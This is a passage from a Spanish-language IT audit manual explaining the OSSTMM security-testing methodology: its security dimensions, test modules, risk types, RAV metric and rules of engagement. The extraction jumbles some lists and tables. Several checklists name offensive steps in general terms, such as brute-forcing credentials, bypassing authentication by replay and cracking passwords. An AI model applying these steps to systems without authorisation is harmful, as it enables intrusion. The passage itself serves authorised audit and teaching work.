sincronización. Este un problema que se resuelve mediante el uso del protocolo
NTP.
Como se puede observar la definición y el diseño, ocupan una gran parte del
ciclo de vida, ya que la seguridad está presente desde la definición y dado que
se ha de tener todo lo anteriormente señalado presente, con el fin de reducir a la
mínima expresión el número de factores externos, que pueden afectar a una
aplicación y en especial si es parte de una estructura critica o bien si está
considerada como elemento crítico, dentro de un informe de análisis de impacto
como ya vimos anteriormente al hablar de los riesgos.
Uno de los mayores problemas a los que se enfrentan los desarrolladores es el
uso correcto de uno varios de los mecanismos disponibles de autenticación de
los usuarios, especialmente si acceden a datos sensibles, por ello se deben de
incluir no sólo mecanismos de programación y de control de accesos desde el
motor de la base de datos, sino que además podemos incluir protocolos
específicos de autenticación y servidores diseñados expresamente para ello,
además de incluir procesos de encriptado y desencriptado.
¿Qué es OSSTMM?
OSSTMM es un manual de metodologías para pruebas y análisis de seguridad
realizado siguiendo la metodología OML (Open Methodology License) siendo el
manual en sí publicado bajo licencia Creative Commons 3.0, lo cual permite el
libre uso y distribución del mismo.
Como proyecto de Software Libre, permite a cualquier analista de seguridad
contribuir a la mejora del manual lo cual, además, garantiza unas pruebas de
seguridad más certeras, eficientes y procesables.
La metodología OSSTMM se centra en los detalles técnicos de los elementos
que necesitan ser comprobados, qué hacer antes, durante y después de las
pruebas de seguridad, así como evaluar los resultados obtenidos. Las pruebas
que recoge el manual incluyen todos los canales de operación: Humanos, físicos,
wireless, telecomunicaciones, y redes de datos.
¿Quién publica OSSTMM?
El manual se encuentra realizado por ISECOM (Institute for Security and Open
Methodologies), una organización sin ánimo de lucro de dedicada al desarrollo
de metodologías de libre utilización para la verificación de la seguridad, la
programación segura, la verificación de software y la concientización en
seguridad. ISECOM se encuentra dirigida por Pete Herzog y Marta Barceló
1. Testeo de Solicitud
2. Testeo de Sugerencia Dirigida
3. Testeo de las Personas Confiables
1. Logística y Controles
2. Exploración de Red
1. Testeo de PBX
2. Testeo del Correo de Voz
3. Revisión del FAX
4. Testeo del Modem
1. Revisión de Perímetro
2. Revisión de monitoreo
3. Evaluación de Controles de Acceso
4. Revisión de Respuesta de Alarmas
5. Revisión de Ubicación
Capítulo 24
OSSTM versión 3 :
2010.
Metodología de Testeo de
Código Abierto.
Como este es un libro de
divulgación esta ilustración
mostramos todas las
metodologías que hemos y
expuesto de modo resumido
hasta ahora.
No figuran las siguientes
normas ISO31000, ni la ISO
30301 tampoco hemos
incluido la ISO25100 para no
complicar el grafo, aunque
están, dado que representan
la gestión de riesgos, la
gestión de la documentación
y por último la gestión de
proyectos y por último hemos excluido también la 19600 de cumplimiento legal.
Veamos sobre elementos desarrolla su actividad la metodología OSSMT y que
aplicación tiene en el campo práctico de la Auditoria Informática, como de la
Gestión de la Seguridad de la Información.
Ahora que ya conocemos los objetos sobre los que trabaja esta metodología
veamos que se entiende por cada uno de ellos.
1. Búsqueda de Vulnerabilidades: se refiere generalmente a las
comprobaciones automáticas de un sistema o sistemas dentro de una red.
2. Escaneo de la Seguridad: se refiere en general a las búsquedas de
vulnerabilidades que incluyen verificaciones manuales de falsos positivos,
identificación de los puntos débiles de la red y análisis profesional
individualizado.
3. Test de Intrusión: se refiere en general a los proyectos orientados a objetivos
en los cuales dicho objetivo es obtener un trofeo, que incluye ganar acceso
privilegiado con medios pre-condicionales.
4. Evaluación de Riesgo: se refiere a los análisis de seguridad a través de
entrevistas e investigación de nivel medio que incluye la justificación negocios,
las justificaciones legales y las justificaciones específicas de la industria.
5. Auditoría de Seguridad: hace referencia a la inspección manual con
privilegios administrativos del sistema operativo y de los programas de aplicación
del sistema o sistemas dentro de una red o redes.
6. Hacking Ético: se refiere generalmente a los test de intrusión en los cuales el
objetivo es obtener trofeos en la red dentro del tiempo predeterminado de
duración del proyecto.
7. Test de Seguridad y su equivalente militar, Evaluación de Postura, es una
evaluación de riesgo con orientación de proyecto de los sistemas y redes, a
través de la aplicación de análisis profesional mediante escaneos de seguridad
donde la intrusión se usa generalmente para confirmar los falsos positivos y los
falsos negativos dentro del tiempo permitido de duración del proyecto.
Proceso
El proceso de un análisis de seguridad, se concentra en evaluar las siguientes
áreas, que reflejan los niveles de seguridad presentes, siendo estos el ambiente
definido para el análisis de seguridad. Estos son conocidos como las
Dimensiones de Seguridad:
Visibilidad
La visibilidad es lo que puede verse, registrarse, o monitorearse en el nivel de
seguridad con o sin la ayuda de dispositivos electrónicos. Esto incluye, pero no
se limita a, ondas de radio, luz por encima del espectro visible, dispositivos de
comunicación como teléfonos, GSM, email y paquetes de red como TCP/IP.
Acceso
El acceso es el punto de entrada al nivel de seguridad. Un punto de acceso no
requiere ser una barrera física. Esto puede incluir, pero no se limita a, una página
web, una ventana, una conexión de red, ondas de radio, o cualquier cosa cuya
ubicación soporte la definición de casi-público o donde un computador interactúa
con otro por medio de una red. Limitar el acceso significa negar todo excepto lo
que este expresamente permitido financieramente y por buenas prácticas.
Confianza
La confianza es una ruta especializada en relación con el nivel de seguridad. La
confianza incluye la clase y cantidad de autenticación, no-repudio, control de
acceso, contabilización, confidencialidad e integridad entre dos o más factores
dentro del nivel de seguridad.
Autenticación
La autenticación es la medida por la cual cada interacción en el proceso está
privilegiada.
No-repudio
El no-repudio provee garantía que ninguna persona o sistema responsable de la
interacción pueda negar envolvimiento en la misma.
Confidencialidad
La confidencialidad es la certeza que únicamente los sistemas o partes
involucradas en la comunicación de un proceso tengan acceso a la información
privilegiada del mismo.
Privacidad
La privacidad implica que el proceso es conocido únicamente por los sistemas o
partes involucradas.
Autorización
La autorización es la certeza que el proceso tiene una razón o justificación de
negocios y es administrado responsablemente dando acceso permitido a los
sistemas.
Integridad
La integridad es la certeza que el proceso tiene finalidad y que no puede ser
cambiado, continuado, redirigido o reversado sin el conocimiento de los sistemas
o partes involucradas.
Seguridad
La seguridad son los medios por los cuales un proceso no puede dañar otros
sistemas, o procesos incluso en caso de falla total del mismo.
Alarma
La alarma es la notificación apropiada y precisa de las actividades que violan o
intentan violar cualquiera de las dimensiones de la seguridad. En la mayoría de
violaciones de seguridad, la alarma es el único proceso que genera reacción.
Como puede observar hay muchas zonas que interseccionan unas con otras, y
ello siempre está relacionado con la seguridad de los procesos. Por ello nos
parece una metodología interesante cuando estamos acometiendo la realización
de una auditoria de certificación para la ISO 27001.
Lista de Módulos del Mapa de Seguridad
La lista de módulos del mapa de seguridad son los elementos primarios de cada
sección. Cada módulo debe incluir todas las Dimensiones de Seguridad que
están integradas con tareas a ser desarrolladas. Para desarrollar un análisis de
seguridad OSSTMM de una sección particular, todos los módulos de la sección
deben ser desarrollados y aquellos para los que no exista infraestructura y no
pueda ser verificada, debe definirse como NO APLICABLE en la hoja de datos
OSSTM anexa al informe final.
1 Seguridad de la Información
1 Revisión de la Inteligencia Competitiva
2 Revisión de Privacidad
3 Recolección de Documentos
2 Seguridad de los Procesos
1 Testeo de Solicitud
2 Testeo de Sugerencia Dirigida
3 Testeo de las Personas Confiables
3 Seguridad en las tecnologías de Internet
1 Logística y Controles
2 Sondeo de Red
3 Identificación de los Servicios de Sistemas
4 Búsqueda de Información Competitiva
5 Revisión de Privacidad
6 Obtención de Documentos
7 Búsqueda y Verificación de Vulnerabilidades
8 Testeo de Aplicaciones de Internet
9 Enrutamiento
10 Testeo de Sistemas Confiados
11 Testeo de Control de Acceso
12 Testeo de Sistema de Detección de Intrusos
13 Testeo de Medidas de Contingencia
14 Descifrado de Contraseña
15 Testeo de Denegación de Servicios
16 Evaluación de Políticas de Seguridad
Evaluación de Riesgo
La evaluación de Riesgo es mantenida por el analista, todos los datos que sean
recopilados sirven de soporte para una evaluación válida por medio de tests no
privilegiados. Esto implica que, si se recopila muy poca información o esta no es
apropiada, puede no ser posible proveer una evaluación de riesgos correcta y el
analista debe basarse en las mejores prácticas, las regulaciones
correspondientes a la industria del cliente, la justificación de negocios del cliente,
la política de seguridad del mismo, y las cuestiones legales para el cliente y su
ambiente de negocios.
Evaluación de Riesgo
El riesgo significa que los límites de la presencia de seguridad tendrán un efecto
perjudicial en la gente, la cultura de información, los procesos, negocios, imagen,
propiedad intelectual, derechos legales o capital intelectual. Este manual
mantiene cuatro dimensiones durante el análisis para minimizar cualquier estado
de riesgo en el ambiente.
1 Seguridad
Todos los tests deben ejecutarse con la precaución necesaria para evitar los
peores escenarios posibles, que impliquen grandes pérdidas. Esto implica que
el analista mantenga por encima de cualquier cosa, el respeto por la seguridad
humana, en la salud física y emocional y ocupacional.
2 Privacidad
Todos los análisis deben ejecutarse manteniendo el derecho a la privacidad
personal sin importar la ley regional. La ética y el entendimiento de la privacidad
son a menudos más avanzados que la legislación actual.
3 Practicidad
Todos los tests deben ser diseñados buscando la mínima complejidad, la
máxima viabilidad y una profunda claridad.
4 Usabilidad
Todos los tests deben permanecer dentro del marco de seguridad útil. Es decir,
lo más seguro es lo menos bienvenido y perdonable. Los tests dentro de este
manual son desarrollados para encontrar un nivel de seguridad útil (también
conocido como seguridad práctica).
Seguridad Perfecta
En evaluación de riesgos, el OSSTM aplica la técnica de "Seguridad Perfecta",
en seguridad perfecta los analistas calibran con el cliente que se puede
considerar seguridad perfecta. Esto se logra con la revisión de postura, que
corresponde a las mejores prácticas, las regulaciones en la industria del cliente,
las justificaciones del negocio, la política de seguridad del cliente y los asuntos
legales para el cliente y las regiones donde el mismo tenga negocios. El
Una política bien escrita que no sea seguida no tendrá efecto alguno en la
seguridad actual.
Los RAV están definidos matemáticamente por los siguientes factores:
1 Los grados de degradación de cada módulo por separado, según un nivel
óptimo medido de un máximo teórico del 100% para propósitos de administración
de riesgos.
2 El ciclo que determina la máxima longitud de tiempo que se requiere para que
la degradación sea total (llegue a su máximo porcentual) basándose en prácticas
recomendadas de seguridad y consenso.
3 La influencia de otros módulos ejecutados o no.
4 Pesos establecidos por las Dimensiones de Seguridad
5 El tipo de riesgo tal y como se designa por los Tipos de Riesgo OSSTM y si
este ha sido
a Identificado, pero no investigado o con resultados no concluyentes.
b Verificado, con un positivo absoluto o una vulnerabilidad explotada, o
c No aplicable, debido a que no existe porque la infraestructura o
mecanismo de seguridad no se encuentra presente.
Tipos de Riesgos
A pesar que los tipos de riesgo parezcan ser subjetivos, la clasificación de
riesgos en los siguientes tipos, es bastante objetiva al seguir el marco de trabajo
del OSSTMM. Versiones futuras asegurarán su compatibilidad con CVE.
Vulnerabilidad
Una falla inherente en el mecanismo de seguridad mismo o que pueda ser
alcanzada por medio de protecciones de seguridad, permitiendo el acceso
privilegiado a la ubicación, gente, procesos del negocio, y personal o acceso
remoto a los procesos, gente, infraestructura generando datos corruptos o
eliminados.
Una vulnerabilidad puede ser un metal en una puerta que se torna frágil a
temperaturas bajo 0º C, un lector de huellas digitales que permite el acceso con
dedos de goma, un dispositivo infrarrojo que no tiene mecanismos de
autenticación para realizar cambios en la configuración, o un error de traducción
en un servidor web que permite la identificación del propietario de una cuenta
bancaria por medio del número de esta.
Debilidad
Una falla inherente a la plataforma o ambiente en el que el mecanismo de
seguridad reside, una mala configuración, falla de sobrevivencia, falla de
usabilidad, o falla al cumplir los requerimientos de una Política de Seguridad.
Secciones y Módulos
La metodología está dividida en secciones,
módulos y tareas. Las secciones son puntos
específicos en el mapa de seguridad que se
sobreponen entre sí y comienzan a descubrir
un todo que es mucho mayor a la suma de
sus partes. Los módulos son el flujo de la
metodología desde un punto de presencia de
seguridad hacia el otro. Cada módulo tiene
una salida y una entrada. La entrada es la
información usada en el desarrollo de cada
tarea. Las salidas es el resultado de las
tareas completadas.
La salida puede o no ser datos analizados (también conocido como inteligencia)
para servir como entrada para otro módulo. Incluso puede ocurrir que la misma
salida sirva como entrada para más de un módulo o sección.
Algunas tareas no brindan resultados, esto significa que existen módulos para
los cuales no hay entrada. Los módulos que no tienen entrada pueden ser
ignorados durante el análisis. El hecho de ignorar módulos no indica
necesariamente un análisis inferior, al contrario, indica un nivel de seguridad
superior.
Los módulos que no tienen salida como resultado, pueden significar una de tres
cosas:
• Las tareas no fueron ejecutadas apropiadamente.
• Las tareas no se aplicaban.
• Las tareas revelaron niveles superiores de seguridad.
• Los datos resultantes de la tarea se analizaron inapropiadamente.
Es vital que la imparcialidad exista al ejecutar las tareas de cada módulo. Buscar
algo que usted no tenga intención de encontrar puede llevarlo a encontrar
exactamente lo que quiere. En esta metodología cada módulo inicia como una
entrada y una salida exactamente por la necesidad de mantener la imparcialidad.
Cada módulo brinda una guía de lo que puede ser revelado para profundizar más
aún en el flujo.
Página 228 de 430
Manual de Auditoria para no Auditores
Módulos
1. Revisión de la Inteligencia Competitiva
La IC es la información recolectada a partir de la presencia en Internet que
puede ser analizada con inteligencia de negocio. A diferencia del robo de
propiedad intelectual encontrada en el hacking o el espionaje industrial,
es que la IC tiende a no ser invasiva y mucho más discreta. Este es un
buen ejemplo de cómo la presencia en Internet se extiende más allá de
los hosts de la DMZ. Utilizar IC en un Test de Intrusión da valor de negocio
a los componentes y puede ayudar a encontrar justificaciones de negocio
para implementar distintos servicios.
OWASP, dado que esto sería proyecto interno, donde nuestra organización usa
la tecnología Web, como un instrumento de marketing y venta, que no es el caso,
aquí se trata de conocer que tanta permeabilidad tiene nuestra organización
frente atraques externos.
Módulos
1. Logística y Controles
El propósito de este módulo es reducir los falsos positivos y negativos realizando
los ajustes necesarios en las herramientas de análisis.
Comprobaciones de Error
1. Examinar la ruta a la red objetivo en busca de paquetes TCP
perdidos.
2. Examinar la ruta a la red objetivo en busca de paquetes UDP
perdidos.
3. Examinar la ruta a la red objetivo en busca de paquetes ICMP
perdidos.
4. Medir el tiempo utilizado en el recorrido TCP de los paquetes.
5. Medir la latencia TCP a través de conexiones TCP.
6. Medir el porcentaje de paquetes aceptados y respondidos por la
red objetivo.
7. Medir la cantidad de paquetes perdidos o rechazos de conexión
en la red objetivo.
Enrutamiento
8. Examinar el camino de enrutamiento al objetivo desde los
sistemas de ataque.
9. Examinar el camino de enrutamiento para el ISP del objetivo.
10. Examinar el camino de enrutamiento para el Vendedor de
Trafico Principal del ISP objetivo
11. Examinar el uso de Ipv6 para cada uno de los sistemas activos
en la red.
2. Sondeo de Red
El sondeo de red sirve como introducción a los sistemas a ser analizados. Se
podría definir mejor como una combinación de recolección de datos, obtención
de información y política de control. A pesar que a menudo es recomendable
desde un punto de vista legal el definir exactamente y contractualmente los
sistemas a analizar si usted es un auditor externo o aun si es el administrador de
sistemas, puede ser que no pueda empezar con los nombres de sistema o IPs
en concreto. En ese caso es necesario sondear y analizar.
La clave es encontrar el número de sistemas alcanzables que deben ser
analizados, sin exceder los límites legales de lo que se quiere analizar. Por lo
tanto, el sondeo de red es simplemente una forma de empezar un test; otra forma
sería recibir el rango de direcciones IP a comprobar. En este módulo, no se
realiza ningún tipo de intrusión directamente en los sistemas, excepto en los
sitios considerados un dominio cuasi-público.
A pesar de no ser realmente un módulo en la metodología, el sondeo de red es
un punto de partida. Muy a menudo se detectan más hosts durante el test. Hay
que tener en cuenta que los hosts descubiertos posteriormente pueden ser
añadidos en las pruebas como un subconjunto de los sistemas definidos y a
menudo solamente con el permiso o colaboración del equipo de seguridad
interna de la organización a analizar.
Filtración de información
8. Examinar el código fuente y scripts del servidor web en busca de
servidores de aplicación y enlaces internos.
9. Examinar las cabeceras de los correos electrónicos, los mensajes
devueltos y los destinatarios de las alertas y eventos del sistema de los
servidores.
10. Buscar información sobre la organización a analizar en los grupos de
noticias.
11. Buscar en bases de datos de empleos y en periódicos ofertas de
puestos de trabajo en Tecnologías de la Información dentro de la
organización a analizar, referencias a hardware y software.
Cada servidor activo en Internet dispone de 65.536 puertos TCP y UDP posibles
(incluido el Puerto 0). En cualquier caso, no siempre es necesario comprobar
todos estos puertos en cada sistema. Esto se deja a la libre elección del equipo
que realiza los tests. Los puertos que son importantes para el testeo según el
servicio que ofrecen se listan con las tareas del módulo. Otros números de
puertos empleados en los escaneos se deben obtener de bases de datos
consensuadas en webs de proyectos de intrusión tales como www.dshield.org.
Una vez los puertos abiertos han sido identificados, es necesario llevar adelante
un análisis de la aplicación que escucha tras dicho servicio. En algunos casos,
más de una aplicación puede encontrarse detrás de un servicio donde una
aplicación es la que realmente escucha en dicho puerto y las otras se consideran
componentes de la aplicación que escucha. Un buen ejemplo de esto es PERL
que se instaló para ser usado por las aplicaciones web. En este caso, el servicio
que escucha es el demonio HTTP y el componente es PERL.
Enumeración de sistemas
Enumeración de Puertos
Identificación de Servicios
5. Revisión de Privacidad
Política
12. Identificar los gifs de publicidad y bugs web en los servicios web y en los
correos electrónicos
13. Identificar la localización de los gifs de publicidad
14. Identificar los bugs de web recogidos y devueltos al servidor
Apropiación
17. Identificar personas, organizaciones o materiales que por ellos mismos o por
similitud son utilizados comercialmente en sitios web o anuncios publicitarios.
6. Obtención de Documentos
Re-Ingeniería
1. Descomponer o Deconstruir los códigos binarios, si es posible.
2. Determinar las Especificaciones de Protocolo de la Aplicación Cliente/Servidor
3. Adivinar la lógica del programa de los mensajes de error/debug en las salidas
del programa y en el rendimiento y comportamiento del programa.
Autenticación
4. Buscar las posibles combinaciones de contraseñas por fuerza bruta en las
aplicaciones.
5. A ser posible, buscar credenciales de cuentas válidas por fuerza bruta.
6. Saltarse el sistema de autenticación con una validación cambiada.
7. Saltarse el sistema de autenticación reproduciendo información de la
autenticación
8. Determinar la lógica de la aplicación para mantener las sesiones de
autenticación – número (consecutivo) de intentos fallidos, intentos fuera de
tiempo, etc.
9. Determinar las limitaciones de control de acceso en las aplicaciones
permisos de acceso, duración de las sesiones, tiempo inactivo.
Administración de Sesiones
Filtración de información
9. Enrutamiento
Repasar los registros del servidor es necesario para verificar que los tests
realizados en presencia en Internet, especialmente en los casos donde el
resultado de éstos no es inmediatamente evidente para el auditor.
Testeo de configuración
Este puede ser un sistema para obtener acceso a un sistema inicialmente, quizá
sea siempre con acceso de administrador o root, pero solo con fines educativos.
Más allá de la predictibilidad manual de las contraseñas, a través de
combinaciones por defecto o simples, se puede hacer fuerza bruta de
contraseñas para aplicaciones como Telnet, usando scripts o programas
personalizados, al menos no es viable por valores de espera agotados, siempre
con aplicaciones de fuerza bruta con multiconexión (simulando el multihilo). Una
vez entrado con privilegios de root o administrador en un sistema, el descifrado
de contraseñas consiste en obtener acceso a sistemas o aplicaciones
adicionales (gracias a los usuarios cuyas contraseñas sean coincidentes en
múltiples sistemas) y es una técnica válida que puede ser usada por influencia
del sistema a través de un test de seguridad.
1. Verificar que las cuentas administrativas y los archivos y recursos del sistema
están securizados apropiadamente y todos los accesos están concedidos con
"Mínimo Privilegio".
2. Comprobar las restricciones de sistemas expuestas a redes sin confianza.
3. Verificar que los puntos de referencian están establecidos a partir de una
actividad normal del sistema.
4. Verificar que los procedimientos están en un lugar que responde a una
actividad irregular.
5. Verificar la respuesta a una información negativa SIMULADA (ataques
propaganda)
6. Testear cargas de red y de servidor excesivas.
Acceso. Específicamente, las reglas que niegan el acceso con estado a la red
interna generalmente no son alcanzadas por la implementación.
9. Módems – Debe existir una regla que indique que el uso de módems que no
están especialmente asegurados está prohibido o al menos sólo permitido si los
módems están desconectados cuando no se encuentran en uso, y configurados
para no permitir el marcado. Verifique tanto si la regla correspondiente existe
como si la implementación sigue los requisitos.
10. Máquinas de Fax – Debe existir una regla que indique que el uso de las
máquinas de fax que pudiera permitir acceso desde el exterior a la memoria de
las máquinas está prohibido o al menos sólo permitido si las máquinas son
apagadas cuando no se las utiliza. Verifique tanto si la regla correspondiente
existe como si la implementación sigue los requisitos.
11. PBX – Debe existir una regla que indique que la administración remota del
sistema PBX está prohibida o al menos sólo permitida si las máquinas son
apagadas cuando no se las utiliza. Verifique tanto si la regla correspondiente
existe como si la implementación sigue los requisitos.
Aunque los principios metodológicos siguen siendo válidos este documento data
del año 2003 y en este lapso de tiempo catorce años, por ejemplo, la tecnología
ha evolucionado haciendo desaparecer por ejemplo la telefonía fija clásica
siendo sustituida por telefonía vía ip, igual ocurre con las máquinas de Fax, y
que decir de los módems que salvo en algún ámbito rural extremadamente
aislado, han dejado de usarse, siendo sustituido por los routers. Por tanto, vamos
a suprimir todas las referencias relativas a estas tecnologías obsoletas en el
primer mundo. En cuanto a las tecnologías inalámbricas han experimentado una
evolución brutal y son ahora mismo de uso cotidiano. Desde este punto
consideraremos el uso de la versión 3 de OSSTMM ya publicada actualizado
capitulo ya vistos, pero que dadas sus especiales características merecen ser
retomados desde el actual enfoque que desde OSSTMM han recibido en esta
nueva versión.
Los elementos que contempla OSSMT, son los siguientes que describen en la
siguiente tabla.
Termino Definición
La falta de precisión de las separaciones y los controles
Superficie Ataque
funcionales que existen para este vector
Un vector es creado con el fin de acercarse a los ensayos
de seguridad dentro ámbito complejo en forma organizada.
Se basa en el algoritmo de divide y vencerás, paradigma
de diseño que consiste en descomponer un problema
Vector de Ataque
recursivamente en dos o más sub problemas del mismo
tipo, o varios que tenga una relación, que los vincule, hasta
que éstos lleguen a ser lo suficientemente sencillos, como
para ser resueltas directamente.
Son medidas que no evitan el daño, pero amortiguan sus
efectos, ejemplo de esto son los seguros, en un caso de
incendio no pagan la mercancía perdida por efecto del
Controles
fuego, pero si una parte dada la imposibilidad de obtener el
inventario de la mercancía no recuperable por el efecto del
fuego.
Las limitaciones son cualquier clase de limite y se define
como el limite necesario para provocar una acción
Limitaciones disuasoria, en el atacante, al requerir mayores
capacidades de las disponible en el momento del ataque
por parte de este último.
Representan un conjunto de acciones destinadas a permitir
sólo por los medios aceptados y admitidos según las leyes
Operaciones un tipo de operación a realizar como por ejemplo compra o
venta de bienes, el acceso a una tienda por una
determinada puerta.
Seguridad Es el balance perfecto, entre las operaciones, limitaciones
Perfecta y Controles aplicado al conjunto de los Activos.
Todos los puntos interactivos, donde las operaciones, se
Porosidad clasifican como: una visibilidad, un acceso, o un punto de
confianza.
1.1 Seguridad
1. Mover el activo para crear una barrera física o lógica entre ella y la amenaza.
2. Cambio de la amenaza a un estado considerado como inofensivo
3. Destruir la amenaza.
Elemento Definición
Visibilidad La visibilidad se puede expresar como la probabilidad de
que un determinado sea atacado en función del beneficio
que se obtiene con consecuencia, frente al riesgo que
supone su sustracción.
Acceso Es una forma de expresar la viabilidad para ser atacado,
dañado, sustraído o sustituido por otro activo, el número de
puntos de exposición entre el activo / bien y sus amenazas
disminuye para cada punto de exposición que se elimina.
Responsabilidad La confianza es una parte esencial en la Seguridad
Operativa, es necesario que la Responsabilidad que es otra
de Confianza pueda ser medible por tanto las medidas de
seguridad se miden por la confianza que son capaces de
generar respecto a un tipo de Activo frente a un tipo
concreto de amenazas.
Objetivos Controles
Privacidad
Confidencialidad Autenticidad
Resiliencia
Integridad
Integridad No repudio
Subyugación
Continuidad
Disponibilidad Indemnización
Alarma
Una forma de protección donde se controlan
la amenaza o sus efectos. Los controles
deben estar en su lugar para asegurar el
activo frente a la amenaza en sí o los efectos
Seguridad de la misma para que se reduzcan al máximo
esto es a un nivel aceptable. Este manual
cubre la seguridad como “controles”, que son
los medios para mitigar los ataques en un
entorno operativo o en vivo.
El rav es una medida, representa la cantidad
de interacciones no controlados contra un
objetivo, que se calcula por el equilibrio
cuantitativo entre la porosidad, limitaciones y
controles. 100 rav representa un perfecto
equilibrio entre el activo, sus amenazas, los
RAV
controles y las limitaciones de estos. Es
importante evitar tanto: la falta de controles y
sus limitaciones, como el exceso de los
mismo, que pueden ser tan perjudiciales,
como la propia amenaza en sí, debido al
consumo de recursos para su monitorización.
Activo tangible o intangible que puede ser
atacado mediante uno o varios vectores
Objetivo (vulnerabilidades / debilidades) que poseen y
que puede adquirir y manejadas por el
atacante.
Acciones Físicas o Lógicas cuyo propósito es
Vector hacer con la propiedad el control del Activo
con independencia de su naturaleza.
Cuando una persona o un proceso puede
Vulnerabilidad acceder, denegar el acceso a los demás, o se
ocultan los activos dentro del alcance
1.3 Limitaciones
Es la incapacidad de los mecanismos de protección para trabajar para hacer
frente a los diversos tipos de fallos que pueden ocurrir y se conocen como
limitaciones. La limitación por definición es cuando activo protegido no puede
mantener sus barreras frente a las amenazas.
Las limitaciones se han clasificado en cinco categorías y estas categorías
definen el tipo de vulnerabilidad, error, mala configuración o deficiencia por
operación. Esto es diferente de cómo se clasifican las limitaciones en la mayoría
de los marcos de gestión de seguridad y las mejores prácticas, por lo que
utilizamos el término Limitación.
En lugar de términos más comunes para evitar la confusión. Estos otros términos
se refieren a vulnerabilidades o deficiencias porque están categorizadas por el
tipo de ataque o, a menudo, por la propia amenaza. Hay un enfoque sobre el
riesgo del ataque. Sin embargo, para eliminar los sesgos de las métricas de
seguridad y ofrecer una evaluación eliminamos el uso del riesgo. El riesgo en sí
mismo es muy sesgado y, a menudo, muy variable dependiendo del medio
ambiente, los activos, las amenazas y muchos más factores. Por lo tanto, bajo
OpSec, usamos el término limitaciones para expresar la diferencia de categorizar
cómo falla OpSec, en lugar de por el tipo de amenaza.
Limitaciones
Para entender mejor cómo las limitaciones encajan en el marco de OpSec, se
puede ver observar el siguiente mapa que define como encaja cada una de las
diferentes piezas.
Esto significa que la vulnerabilidad debe ser mapeado sobre todos los puntos de
interacción o OpSec y porque la vulnerabilidad puede circunnavegar o anular el
Controles, estos también deben ser considerados en la ponderación de
vulnerabilidad. Una debilidad es una falla en los Controles de Clase A sin
embargo puede impactar OpSec por lo tanto se asigna a todos los OpSec, Así
como ser mapeados a esta clase interactiva de controles.
Además, más de una categoría puede aplicar a una limitación cuando la falla
rompe OpSec en más de un lugar. Por ejemplo, un control de autenticación que
permite a una persona secuestrar las credenciales de otra persona tiene una
debilidad y si las credenciales permiten el acceso, también tiene una
vulnerabilidad. En otro ejemplo, un control de autenticación utiliza una lista
común de nombres correspondientes a direcciones de correo electrónico. Cada
dirección que se puede encontrar o adivinar y utilizar, como un inicio de sesión
es una exposición mientras que el propio control tiene una debilidad, por su
incapacidad para identificar el usuario correcto del mecanismo de autenticación
del inicio de sesión. Si alguna de esas credenciales permite acceso, también lo
incluimos como una vulnerabilidad.
Cumplimiento Legal.
Bajo la perspectiva de OSSTMM.
Que algo sea seguro, es decir este provisto de todas las medidas necesarias
para impedir que alguien evadiendo dichas medidas se haga con la propiedad o
el control de un activo, no significa que legalmente este cumpliendo todos los
requisitos legales exigibles, esto es, lo que viene a expresar es que no toda
medida de seguridad, tiene por qué ser legal, aunque debiera ser lo
Sin embargo, los Canales son los medios específicos de interacción con los
activos. Un activo está dentro de un tipo de certeza (que no debe confundirse,
con el riesgo, que no es una certeza, pero sí es una probabilidad)
Los activos pueden ser propiedad física como el oro, las personas, los planos,
los ordenadores portátiles, la típica señal de teléfono de frecuencia de 900 MHz,
y el dinero; o propiedad intelectual, tales como el personal de datos, una relación,
una marca, procesos de negocio, contraseñas, y algo que se dice sobre la señal
de teléfono 900 MHz.
A menudo, el alcance se extiende mucho más allá del alcance del propietario de
los activos. El alcance requiere que se consideran posibles todas las amenazas,
incluso si no es probable. Aunque, debe quedar claro que un análisis de
seguridad debe estar restringido a lo que posible.
Canales
Algunas pruebas pondrán a prueba la habilidad del probador más que examinar
realmente la seguridad de un objetivo.
Tipo Descripción
Es una prueba a ciegas donde el atacante analista
conoce todo o casi todo lo relativo a su objetivo y su
1 Ciego misión consiste en obtener la máxima información
posible utilizando todas las técnicas a su alcance
incluyendo los juegos de roll y los juegos de guerra.
Es una prueba a de doble ciego donde el atacante /
analista desconoce todo o casi todo lo relativo a su
objetivo y su misión consiste en obtener la máxima
información posible utilizando todas las técnicas
2 Doble Ciego
incluyendo el uso de códigos maliciosos propios o
ajenos para burlar los diferentes niveles de defensa del
objetivo. Su objetivo llegar a lo más profundo del
sistema su ataque debe ser de tipo sigiloso y dejar
1. Reglas de enfrentamiento.
2. Ventas y Marketing
4. Queda prohibido salvo autorización del cliente final hacer uso del nombre
del mismo, debiendo en caso de estar autorizado a dicho uso explicitar el
tipo de producto / servicio adquirido por el cliente, guardando la debida
discreción respecto a cualquier dato que pueda revelar vulnerabilidades
del mismo, como por ejemplo versión, año de venta, etc.
12. Los contratos deben contener verificados conflictos de intereses para una
prueba de seguridad de hecho y de informe.
Plan de prueba.
Proceso de prueba.
sin embargo, se supone que van a ser las políticas de información y los
administradores de procesos de seguridad, el personal de respuesta a
incidentes, y el personal de operaciones de seguridad.
11. El analista no podrá salir del alcance en una posición de menor seguridad
real de lo que era cuando se proporcionan.
Presentación de Informes.
8. Los informes deben indicar los dos claramente descubierto éxito y han
fracasado las medidas de seguridad y controles de pérdida.
9. Los informes deben utilizar sólo las métricas cuantitativas, para medir
la seguridad. Estas métricas deben basarse en hechos y vacío de
interpretaciones subjetivas
10. El cliente debe ser notificado cuando el informe, se envía como para
esperar su llegada y para confirmar la recepción de la entrega.
11. Todos los canales de comunicación, para la entrega del informe deben
ser de extremo a extremo confidencial.
12. Resultados e informes no pueden ser utilizados con fines comerciales más
allá de la interacción con el cliente.
¿Por qué las operaciones de prueba? Por desgracia, no todo funciona como se
configuró. No todo el mundo se comporta como entrenado. Por lo tanto, la verdad
de la configuración y la formación es en las operaciones resultantes. Es por eso
que necesitamos para poner a prueba las operaciones. El proceso de prueba
OpSec es una prueba de eventos discretos de un sistema dinámico, estocástico.
Otro ejemplo es el canal de TV. Debido a que un canal está ajustado a una
frecuencia particular (configurada) no significa que vayamos a recibir el
programa transmitido por ese canal, o sólo ese programa. Esta metodología de
pruebas de seguridad está diseñada en el principio de la verificación de la
seguridad de las operaciones.
El Trío
Esta metodología de prueba de seguridad tiene una base sólida que puede
parecer un poco complicada, pero en realidad es simple en la práctica. Está
diseñada como un diagrama de flujo; Sin embargo, a diferencia del diagrama de
flujo estándar, el flujo, representado por las flechas, puede ir hacia atrás, así
como hacia adelante. De esta manera, está más integrada con todos los
elementos de diseño y pruebas explicitando el principio y el final de cada una de
las pruebas efectuadas cuyos resultados se transfieren, a la auditoría tiene
